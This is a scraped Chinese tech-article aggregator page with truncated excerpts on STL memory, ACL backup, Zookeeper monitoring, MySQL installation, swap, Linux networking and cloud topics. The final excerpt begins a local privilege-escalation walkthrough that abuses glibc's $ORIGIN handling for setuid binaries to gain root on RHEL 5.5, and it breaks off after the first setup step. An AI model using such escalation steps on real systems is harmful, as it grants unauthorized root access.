RHEL

有感于STL的内存管理

只谈情不闲聊 提交于 2020-08-18 03:38:33
1. 背景 前些天在一个技术分享会上,某大牛说,STL使用了内存池,释放内存的时候,并不释放给OS,而是自己由留着用。 听到这些观点后,我就有些着急了,因为我以前一直是直接使用STL的一些工具类的,比如std::string、std::map、std::vector、std::list等等,从来都没有关注过内存的问题。 带着内存的问题,我花了两三天的时间去阅读STL的代码,并且写一些简单的程序进行测试;下面列举一些心得体会,但是却没有什么大的结论 -.- 2. 容易误解的简单例子 我们以STL中的map为例,下面有一个使用map的简单例子,大部分人可以在30秒内写好。 void testmap() { map<int, float> testmap; for (int i = 0; i < 1000000; i++) { testmap[i] = (float)i; } testmap.clear(); } 为了在调用map::clear()之后查看进程的内存使用量,我们可以加几行代码让程序暂停一下。 void testmap() { map<int, float> testmap; for (int i = 0; i < 1000000; i++) { testmap[i] = (float)i; } testmap.clear(); // 观察点 int tmp; cout <

如何使用ACL工具备份和恢复Linux的文件权限

淺唱寂寞╮ 提交于 2020-08-17 18:30:12
1.安装ACL工具 在Debian, Ubuntu,Linux Mint上 $ sudo apt-get install acl 在CentOS,Fedora,RHEL上 $ sudo yum install acl 2. 备份当前目录下(包括子目录)所有文件的权限 [root@linuxprobe tmp]# ls -l total 8 -rwxr--r--. 1 root root 0 Mar 3 04:40 install.txt -rwxr-xr-x. 1 root root 0 Mar 3 04:41 linuxprobe.txt [root@linuxprobe tmp]# getfacl -R . > permissions.txt ... 此命令将所有文件的ACL信息全部写入名为permissions.txt文件。 以下是生成的permissions.txt文件中部分目录信息 [root@linuxprobe tmp]# cat permissions.txt # file: . # owner: root # group: root # flags: --t user::rwx group::rwx other::rwx # file: install.txt # owner: root # group: root user::rwx group::r--

JMXtrans + InfluxDB + Grafana实现Zookeeper性能指标监控

好久不见. 提交于 2020-08-17 18:28:41
一、总体效果图 这里是将集群全部放在一起,可以根据自己的审美看怎么放 二、监控指标 其中有些指标与第一篇 Zookeeper通过四字命令基础监控(Zabbix) 的四字命令的指标是有重复的,二者选一个则可 三、实现 1、influxdb的安装 1)设置yum源 cat <<EOF | sudo tee /etc/ yum .repos.d/ influxdb.repo [influxdb] name = InfluxDB Repository - RHEL \$releasever baseurl = https: // repos.influxdata.com/rhel/\$releasever/\$basearch/stable enabled = 1 gpgcheck = 1 gpgkey = https: // repos.influxdata.com/influxdb.key EOF 2)安装influxdb yum install influxdb systemctl start influxdb 3)修改配置文件(元数据以及数据存放目录) [root@ip- 172 - 0 - 0 - 7 influxDB]# cat /etc/influxdb/influxdb.conf | grep " ^\s*[^# \t].*$ " [meta] dir = "

在centos7.8下使用 yum 命令安装 MySQL 8.0.21

扶醉桌前 提交于 2020-08-17 17:27:45
在centos7.8下安装 mysql 8.0.21 前言 在部署linux数据库的,往往因为客户有指定版本的要求,或者有软件安装的审计的需要制定对应的版本号, 我也遇到客户必须制定的mysql的版本的要求,mysql 版本号为v8.0.21。 mysql安装 环境检查 检查是否安装了mysql rpm -qa| grep -i mysql 如有,类似 mysql-libs-5.1.52-1.el6\_0.1.x86\_64\ 卸载之 如果已经安装了mysql,先关闭mysql服务 killall mysqld rpm -e --nodeps mysql-libs-5.1.52.x86_64 检查否存在 `mariadb` 数据库,如有,卸载之,卸载同上 rpm -qa | grep mariadb 彻底卸载mysql 如果已经安装了mysql killall mysqld 使用 `find / -name mysql` 查找出所有的mysql删除对应的文件夹 查找结果如下: \[root@SZDC04291 soft\]# find / -name mysql /run/lock/subsys/mysql /etc/linux/targeted/active/modules/100/mysql /usr/lib64/mysql /usr/local/mysql /home/app

Swap常用操作与性能测试

放肆的年华 提交于 2020-08-17 08:06:30
Swap分区通常被称为交换分区,这块儿分区位于硬盘的某个位置,当系统内存(物理内存)不够用的时候,如果开启了交换分区,部分内存里面暂时不用的数据就会Swap out(换出)到这块儿分区;当系统要使用这部分数据的时候,存储在Swap分区的数据就会Swap in(换入)到内存当中。 简而言之,Swap分区就类似于内存的后备内存(只是做了下缓冲) 一、swap的大小设置建议(源自redhat官方): 1. 内存 <=2GB , Swap分区设置 3倍 内存大小 2. 2GB <=内存<= 8GB , Swap分区设置 2倍 内存大小 3. 8GB <=内存<= 64GB , Swap分区设置 1.5倍且4G以上 内存大小 4. 64GB <=内存, Swap分区设置 4G以上 内存大小 如果你不喜欢记上述条件,那么一般Swap分区设置内存2倍就可以 二、swap分区常用操作 例子:一个4c8g的机器,给其创建一个16g的swap分区。 2.1 创建步骤: 1. 创建swap交换区硬盘存储用的空白文件。 # 这里bs是块大小,bs*count就是我们要创建的swap空文件大小 dd if=/dev/zero of=/swap bs=1024M count=8 2.使用mkswap格式化文件为swap文件系统 #-f 使用文件作为swap交换区 mkswap -f /swap 3

IBM云排名第七,2019年云综合收入93.3亿元

穿精又带淫゛_ 提交于 2020-08-17 07:20:09
云排名分析:IBM云排名第七,2019年云综合收入93.3亿元。 在2019年,IBM Cloud在中国发展的策略依然强调混合多云的方向,混合多云自然是软件+硬件的解决方案。在这样的框架下,需要明确四个事情,然后我们才好对IBM云的营收做估算。本来不想估算IBM云在中国的营收,毕竟比较复杂,但是考虑到大家对于混合多云的兴趣越来越大,这里还是简单估算分析一下。 一是,IBM在2019年已经强调并推进主机作为向云的基座方案。IBM也面向中国的银行提出了“两层架构”:一层采用IBM大型主机Z承载核心业务应用,另一层在云端构建一个银行专有云,即金融服务的公有云,这与通常意义的公有云有一定区别。因此,只要是推进混合云方案的项目,必然少不了IBM主机的贡献。不管是Z,还是LinuxONE。 这里阿明(Aming)估算2019年IBM在中国的私有云、混合云的总营收约为74亿元左右。 二是,基于主机的优势,IBM正在整合推进金融云的行业销售与影响力。Red Hat并入IBM之后,也进一步加强了IBM的云原生能力,快速借助OpenShift成就云影响力,成为很好的IBM混合多云平台利器。IBM Cloud Paks平台也就显得非常有现实意义了。就此美国银行(Bank of America)基于IBM金融公有云承载银行的关键应用和工作负载。但在中国推进IBM金融公有云必然会本地化为IBM金融云

调优守护 Throughput-performance 配置文件与 Balanced 配置文件的差异

假装没事ソ 提交于 2020-08-17 03:56:48
简介 经过调优的守护程序使用 udev 守护程序来监控互联设备,并根据所选配置文件静态和动态调整系统设置。经过调优的守护程序具有许多预定义的配置文件,比如 Throughput-performance、Balanced 以及 Virtual-guest,适合于常见用例。系统管理员也可以为自己的工作负载创建定制的配置文件。 在 Red Hat Enterprise Linux (RHEL) V7 操作系统中,缺省配置文件为 Throughput-performance。Virtual-guest 配置文件选定用于虚拟机,Balanced 配置文件则选定用于所有其他案例。Balanced 配置文件是 CentOS 7.x 操作系统中的缺省配置文件。经过调优的守护程序具有一系列推荐或选择某个配置文件作为缺省配置文件的规则。这些规则使用正则表达式来匹配 /etc/system-release-cpe 文件中的 computenode|server 字符串,也会使用 virt-what 命令的输出。如果第一个表达式为 true, virt-what 命令的输出为空,那么推荐使用 Throughput-performance 配置文件。如果 virt-what 命令的输出显示有关虚拟机的数据,那么推荐使用 Virtual-guest 配置文件。这些规则都不符合时,在经过调优的守护程序中选择

Linux网络管理

梦想的初衷 提交于 2020-08-17 03:54:14
1.NetworkManager服务。 网络管理器(NeworkManager)是一个动态网络的控制器与配置系统,它用于当网络设备可用时保持设备和连接开启并激活。 默认情况下,CentOS/RHEL 7 已安装网络管理器,并处于启用状态。 1)查看网络管理程序状态 systemctl status NetworkManager 2)查看网络子管理程序的状态 systemctl statuzs network 2.配置网络的工具 配置网络的方法很多,图形、命令都可以。 图形配置:简易图形 nmtui 图形界面:nm-connection-editor 3.配置ip 先备份网卡配置文件,再修改 cp /etc/sysconfig/network-scripts/ifcfg-ens33 . 4.命令查看ip,截图保存ip 命令行查网关/默认路由 ip r 进入vim配置 vim /etc/sysconfig/network-scripts/ifcfg-ens33进入。 配置好以后,我们重启网络服务 systemctl restart network 5.主机改名 查看主机名: hostname 配置主机名: hostnamectl set-hostname 主机名 配置好后,退出shell即可生效。 6.网络测试工具 ip a //察看所有 ip n //查看邻居 ip r //查看路由

一文快速掌握华为云IPv6基础知识及使用指南

|▌冷眼眸甩不掉的悲伤 提交于 2020-08-17 00:07:45
随着5G、物联网等新兴技术领域的发展,IP空间需求巨大,IPv6成为万物互联的基础,势在必行;华为云作为IPv6成熟商用开拓者,针对金融、广电、媒资等不同行业推出IPv6解决方案,助力企业平滑升级到IPv6基础架构。本文带您十分钟了解华为云IPv6。 一、华为云IPv6解决方案:IPv6-EIP和IPv6-双栈 1. IPv6-EIP 简单来说,IPv6-EIP就是申请一个弹性公网IP(EIP),此EIP既有一个IPv4地址,又有一个IPv6地址。当然也可以将已有的IPv4 EIP开启IPv6转换。开启IPv6转换后,此EIP将提供IPv4和IPv6弹性公网IP地址,原有IPv4业务可以快速为IPv6用户提供访问能力。 IPv6-EIP的原理如上图所示:前端网络改造成能够同时支持IPv4和IPv6终端访问的双栈网络,后端业务网络和应用暂不改造,在后端网络和前端网络之间部署NAT64网络转换(即华为云IPv6-EIP),将前端IPv6地址转换为后端IPv4地址;客户内部业务网络侧实现“零”改造支持IPv6。 2.IPv6-双栈 相较于IPv6-EIP,IPv6-双栈进行的IPv6改造更加彻底和复杂。IPv6双栈为实例提供两个不同版本的IP地址:IPv4地址和IPv6地址,这两个IP地址不仅可以被其它网络访问,也可以主动访问其他IP,是所谓的“真”IPv6。 IPv6

linux gcc++漏洞:普通用户获得root权限

纵然是瞬间 提交于 2020-08-16 22:39:35
linux gcc++漏洞:普通用户获得root权限 *本内容参考自他人博客文章* Crushlinux 已经在RHEL5.5 32上测试过 原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path 1、创建一个普通测试用户: [root@crushlinux4 ~]# useradd test [root@crushlinux4 ~]# passwd test Changing password for user test. New UNIX password: BAD PASSWORD: it is too short Retype new UNIX password: passwd: all authentication tokens updated successfully. 2、切换到这个用户: [root@crushlinux4 ~]# su - test [test@crushlinux4 ~]$ whoami test [test@crushlinux4 ~]$ useradd user1 -bash: useradd: command not found 3、开始提权 [test@crushlinux4 ~]$ mkdir /tmp/exploit [test